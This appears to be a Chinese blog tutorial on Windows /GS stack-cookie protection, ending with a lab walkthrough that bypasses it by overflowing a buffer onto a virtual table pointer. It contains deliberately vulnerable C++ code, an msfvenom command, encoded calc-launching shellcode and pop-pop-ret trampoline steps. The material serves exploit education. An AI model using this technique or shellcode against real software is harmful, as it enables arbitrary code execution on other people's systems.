1    GS内存保护机制

1.1    GS工作原理

栈中的守护天使--GS,亦称作Stack Canary / Cookie,从VS2003起开始启用(也就说,GS机制是由编译器决定的,跟操作系统无关)。

GS机制分三个步骤:计算随机种子 --> canary写入栈帧 --> GS校验。

[1]程序启动时,读取.data的第一个DWORD作为基数,然后和各种元素(时间戳,进程ID,线程ID,计数器等等)进行XOR加密

[2]然后将加密后的种子再次写入.data的第一个DWORD

[3]函数在执行前,把加密后的种子取出,与当前esp进行异或计算,结果存入EBP的前面

[4]函数主体正常执行。

[5]函数返回前(retn前一点),把cookie取出与esp异或计算后,调用security_check_cookie函数进行检查,与.data节里的种子进行比较,如果校验通过,则返回原函数继续执行;如果校验失败,则程序终止。

图解:

1.2    变量重排技术

如图1.1所示,在缓冲区域cookie之间还有一些空隙,这是因为在旧版本(VS2005之前)的编译器里,局部变量是随机摆放的(指针,int,字符串位置随机)

所以这里就还存在一丝安全隐患->_->那就是Buff可能在不压过Cookie的情况下覆盖一些局部变量,所以,后期的编译器就推出了--变量重排技术。

      如图1-2所示

图 1-2

程序在编译时根据局部变量的类型对变量在栈中的位置进行调整,将字符串变量(图中的Buff)移动到栈的高地址处,指针参数数(图中i)复制到中地址,字符串参数(图中arg副本)复制到地地址。

1.3    通过猜测cookies值绕过/GS保护机制

/GS保护机制采用了几个较弱的熵源,攻击者可以对其进行计算并使用计算结果来预测cookie值,但是这种犯法只适用于针对本地系统的攻击(攻击者拥有该机器的访问权限)。

论文链接:http://uninformed.org/?v=7&a=2&t=pdf

1.4    通过覆盖虚函数指针绕过/GS保护机制

⑴.原理分析:

经过GS编译后的函数在栈中的分布情况如图1-3 所示。

图 1-3

图 1-4

由图1-3和2-4可知,函数中的buf变量发生溢出的时候有可能影响虚表指针,如果可以控制虚表指针,将其指向我们shellcode,就可以在程序调用时控制程序的流程。

⑵.环境准备:

实验代码:

#include "stdafx.h"

#include "string.h"

class GSVirtual {

public:

void gsv(char *src)

{

char buf[200];

strcpy(buf, src);

vir();

}

virtual void vir()

{

}

};

int main()

{

GSVirtual test;

test.gsv(

"\xbe\xe8\x88\x3c\xfd\xd9\xd0\xd9\x74\x24\xf4\x5a\x33\xc9\xb1"

"\x30\x31\x72\x13\x03\x72\x13\x83\xea\x14\x6a\xc9\x01\x0c\xe9"

"\x32\xfa\xcc\x8e\xbb\x1f\xfd\x8e\xd8\x54\xad\x3e\xaa\x39\x41"

"\xb4\xfe\xa9\xd2\xb8\xd6\xde\x53\x76\x01\xd0\x64\x2b\x71\x73"

"\xe6\x36\xa6\x53\xd7\xf8\xbb\x92\x10\xe4\x36\xc6\xc9\x62\xe4"

"\xf7\x7e\x3e\x35\x73\xcc\xae\x3d\x60\x84\xd1\x6c\x37\x9f\x8b"

"\xae\xb9\x4c\xa0\xe6\xa1\x91\x8d\xb1\x5a\x61\x79\x40\x8b\xb8"

"\x82\xef\xf2\x75\x71\xf1\x33\xb1\x6a\x84\x4d\xc2\x17\x9f\x89"

"\xb9\xc3\x2a\x0a\x19\x87\x8d\xf6\x98\x44\x4b\x7c\x96\x21\x1f"

"\xda\xba\xb4\xcc\x50\xc6\x3d\xf3\xb6\x4f\x05\xd0\x12\x14\xdd"

"\x79\x02\xf0\xb0\x86\x54\x5b\x6c\x23\x1e\x71\x79\x5e\x7d\x1f"

"\x7c\xec\xfb\x6d\x7e\xee\x03\xc1\x17\xdf\x88\x8e\x60\xe0\x5a"

"\xeb\x9f\xaa\xc7\x5d\x08\x73\x92\xdc\x55\x84\x48\x22\x60\x07"

"\x79\xda\x97\x17\x08\xdf\xdc\x9f\xe0\xad\x4d\x4a\x07\x02\x6d"

"\x5f\x64\xc5\xfd\x03\x6b"

"\x81\x99\x82\x77"                                                    //跳板指针

"\x3c\xff\x12\x00"                                                    //跳板指针地址

);

return 0;

}

编译选项设置:

启用GS保护机制:

禁止:ASLR, DEP保护机制:

在 vs 2008中禁止safeSEH(更高版本可以直接在属性页面下改的):

在项目属性页面下—>连接器选项—>命令行里的附加选项里输入/SAFESEH:NO就可以了。

⑶.调试分析:

i.(找到函数的入口点)在OD中打开:

这个入口地址明显不是啊,,,,

那就用IDA看一下吧,

找到了函数的入口地址(004010B0)。

ii.分析函数运行流程:

       在调用虚函数之前要先初始化类

     在初始化类的过程中,虚函数表入栈。

     参数入栈,调用类函数,返回地址(EIP入栈):

        Ebp入栈,cookie入栈,分配缓冲区:

将参数拷贝到缓存区:

。。。。。。。。。。。。。。(这段代码太长了就不贴了)

因为源代码在类函数里调用了虚函数,所以在类函数中会有一个从虚函数表中寻找虚函数地址的过程,并且在退出前检查cookie的值:

整个类函数的运行过程如下:

图 1-5

⑷.攻击过程:

i.确定shellcode大小:

从图1-5分析可知,

shellcode的大小 = 虚函数表指针的地址-类函数缓冲区中参数的起始地址+4(虚函数指针占4个字节)。

所以需要确定的地址有:

  •    虚函数指针的地址
  •    类函数缓冲区中参数的起始地址

在类函数中的相关代码如下:

得到shellcode的大小 = 224字节

ii.设计shellcode

观察程序执行过程:

类中虚函数的寻址过程如下:

我们的目标是把虚表指针中的虚函数指针地址换成我们shellcode指针的地址,把虚函数指针换成恶意代码的指针。

所以shellcode代码结构如下:

Shellcode指针的地址

恶意代码指针

恶意代码

这里的恶意代码可以用msfconsole生成:

msfvenom -p windows/exec cmd=calc -b '\x00' -f c

生成长度为216字节的功能是打开计算器的恶意代码。

因为参数内容在栈中的是从低地址向高地址增长的,所以,在上面生成的恶意代码之后,应该加上恶意代码指针的地址,和恶意代码的指针(即首字母的地址)。

iv.确定恶意代码指针的地址和恶意代码的指针:

在类函数中,恶意代码指针的地址就是参数指针的地址,可以很快  找到(0012ff3c)。

到我们执行代码到执行虚函数之前,有两个地方有恶意代码:

  • l  主程序在调用类函数输入的恶意代码(指针=00402100)
  • l  类函数在栈缓冲区中拷贝的恶意代码(指针=0012fe64)

但是直接将这两个地址放在shellcode是不能成功的,为什么?

因为,strcpy函数的结束条件是最后一个字符是不是0,这两个地址在内存中(小端序,0012fe64在内存中是64fe1200)都是以0结尾的,之后的恶意代码的指针的地址就填充不进去了。

这可怎么办?

这里要用到一个新的技巧——跳板:

恶意代码的指针==0x0012fe64,在执行strcpy的时候,0x0012fe54中存放的值是0x0012fe64(i中的代码执行截图里可以看到)。

那么就需要跳板来实现了。

在执行(call 虚函数指针)指令之前,栈的地址是0x0012fe50。

Call指令会将下一条指令地址(0040108f)压入栈中,作为返回地址,esp = esp-4 = 0x0012fe4c

但是,如果我们将这个地址弹出去,pop esi,返回地址放到esi中,但是,栈中的返回地址就变成了,esp = esp+4 = 0x0012fe50中的内容(因为栈顶放的是返回地址)。

那么,解决的方案是不是就很明显了?

我们希望这个函数的返回地址0x0012fe64,弹出一次返回地址esp(栈顶地址增长4字节),再弹出去一次,不就是0x0012FE54,而0x0012fe54中存放的不正是0x0012fe64,此时返回,直接进入恶意代码,我们就能成功实现绕过GS保护机制的缓存区溢出攻击了。

III. 找跳板地址:

要找到一个pop xxx,pop xxx,retn指令的起始地址,且不能影响程序运行的地址来做恶意代码的指针。

实际中可以用ollydbg的插件OllyFindAddr实现。

最终的shellcode结构如下:

跳板地址的地址

跳板的地址

恶意代码

vi.攻击结果:

成功。

内存保护机制及绕过方案——通过覆盖虚函数表绕过/GS机制的更多相关文章

  1. 内存保护机制及绕过方案——通过覆盖SEH异常处理函数绕过/GS机制

    通过SEH链绕过GS保护机制 ⑴.  原理分析: i.异常处理结构(SEH)处理流程如下: SEH是基于线程的,每一个线程都有一个独立的SEH处理结果,在线程信息块中的第一个结构指向线程的异常列表,F ...

  2. c++ 继承类强制转换时的虚函数表工作原理

    本文通过简单例子说明子类之间发生强制转换时虚函数如何调用,旨在对c++继承中的虚函数表的作用机制有更深入的理解. #include<iostream> using namespace st ...

  3. C++ 虚函数表 多重继承

    上次研究的是单继承的情况,这次研究多重继承下的虚函数表的排列情况. 这次A,A1,A2,B这几个类的继承关系如下图: 测试代码如下: #include<iostream> using na ...

  4. C++单继承、多继承情况下的虚函数表分析

    C++的三大特性之一的多态是基于虚函数实现的,而大部分编译器是采用虚函数表来实现虚函数,虚函数表(VTAB)存在于可执行文件的只读数据段中,指向VTAB的虚表指针(VPTR)是包含在类的每一个实例当中 ...

  5. C++虚函数表解析(图文并茂,非常清楚)( 任何妄图使用父类指针想调用子类中的未覆盖父类的成员函数的行为都会被编译器视为非法)good

    C++中的虚函数的作用主要是实现了多态的机制.关于多态,简而言之就是用父类型别的指针指向其子类的实例,然后通过父类的指针调用实际子类的成员函数.这种技术可以让父类的指针有“多种形态”,这是一种泛型技术 ...

  6. C++ 多态、虚函数机制以及虚函数表

    1.非virtual函数,调用规则取决于对象的显式类型.例如 A* a  = new B(); a->display(); 调用的就是A类中定义的display().和对象本体是B无关系. 2. ...

  7. C++ 虚函数表解析

    转载:陈皓 http://blog.csdn.net/haoel 前言 C++中 的虚函数的作用主要是实现了多态的机制.关于多态,简而言之就是用父类型别的指针指向其子类的实例,然后通过父类的指针调用实 ...

  8. C++虚函数表原理

    C++中的虚函数的作用主要是实现了多态的机制.关于多态,简而言之就是用父类型别的指针指 向其子类的实例,然后通过父类的指针调用实际子类的成员函数.这种技术可以让父类的指针有“多种形态”,这是一种泛型技 ...

  9. C++ 虚函数表解析(转载)

    转载自:陈皓 http://blog.csdn.net/haoel/article/details/1948051/ 前言 C++中的虚函数的作用主要是实现了多态的机制.关于多态,简而言之就是用父类型 ...

随机推荐

  1. python逆向工程:通过代码生成类图

    python逆向工程:通过代码生成类图 大致过程 现在有一个core包,里面有python的代码. 通过core包,生成python的类图,如下: 实施步骤: 1.首先安装graphviz,一个画图工 ...

  2. (转)牛B的代码不一定是好代码

    最近经常做业务逻辑代码review的工作,发现各种风格的代码,其中有一种是封装和抽象做的非常的多,代码层次非常的深入,表面给人感觉是:牛逼的代码. 但是从清晰度和可维护性来说,还是不推荐这么做. 1. ...

  3. (转)Nginx反向代理设置 从80端口转向其他端口

    from :http://www.cnblogs.com/wuyou/p/3455381.html Nginx反向代理设置 从80端口转向其他端口   反向代理(Reverse Proxy)方式是指以 ...

  4. Codeforces Round #396 (Div. 2) D. Mahmoud and a Dictionary

    地址:http://codeforces.com/contest/766/problem/D 题目: D. Mahmoud and a Dictionary time limit per test 4 ...

  5. 杭电1023Train Problem II

    地址:http://acm.hdu.edu.cn/showproblem.php?pid=1023 题目: Train Problem II Time Limit: 2000/1000 MS (Jav ...

  6. HDU 4292 Food (拆点最大流)

    题意:N个人,F种食物,D种饮料,给定每种食物和饮料的量.每个人有自己喜欢的食物和饮料,如果得到自己喜欢的食物和饮料才能得到满足.求最大满足的人数. 分析:如果只是简单地N个人选择F种食物的话可以用二 ...

  7. html 5中的新特性之强化表单元素及属性

    之前我们判断用户提交的是否是Email 的时候,往往使用js 进行判断,但在html5中可以有新的方式进行判断而且更简单 <!DOCTYPE html> <html lang=&qu ...

  8. Linux网络IO函数以及TCP连接函数包装

    标准I/O VS 网络IO 标准I/O又称为标准I/O流,从某种意义上讲是全双工的,因为程序能够在同一个流上执行输入和输出. Unix/Linux对网络的抽象是一种称为套接字的文件类型.和任何Unix ...

  9. win10安装z3求解器

    因为课程要求,我不得不接触求解器,之前有在ubuntu上装过一个叫stp的求解器,没怎么用: 今天在我的电脑(win10)上上装了一款更方便的求解器---z3,下面先详细介绍一下怎么安装和配置: 1. ...

  10. 2018-2019-2 20165114《网络对抗技术》Exp3 免杀原理与实践

    Exp3 免杀原理与实践 目录 一.实验内容 二.基础问题回答 (1)杀软是如何检测出恶意代码的? (2)免杀是做什么? (3)免杀的基本方法有哪些? 三.实践过程记录 正确使用msf编码器,msfv ...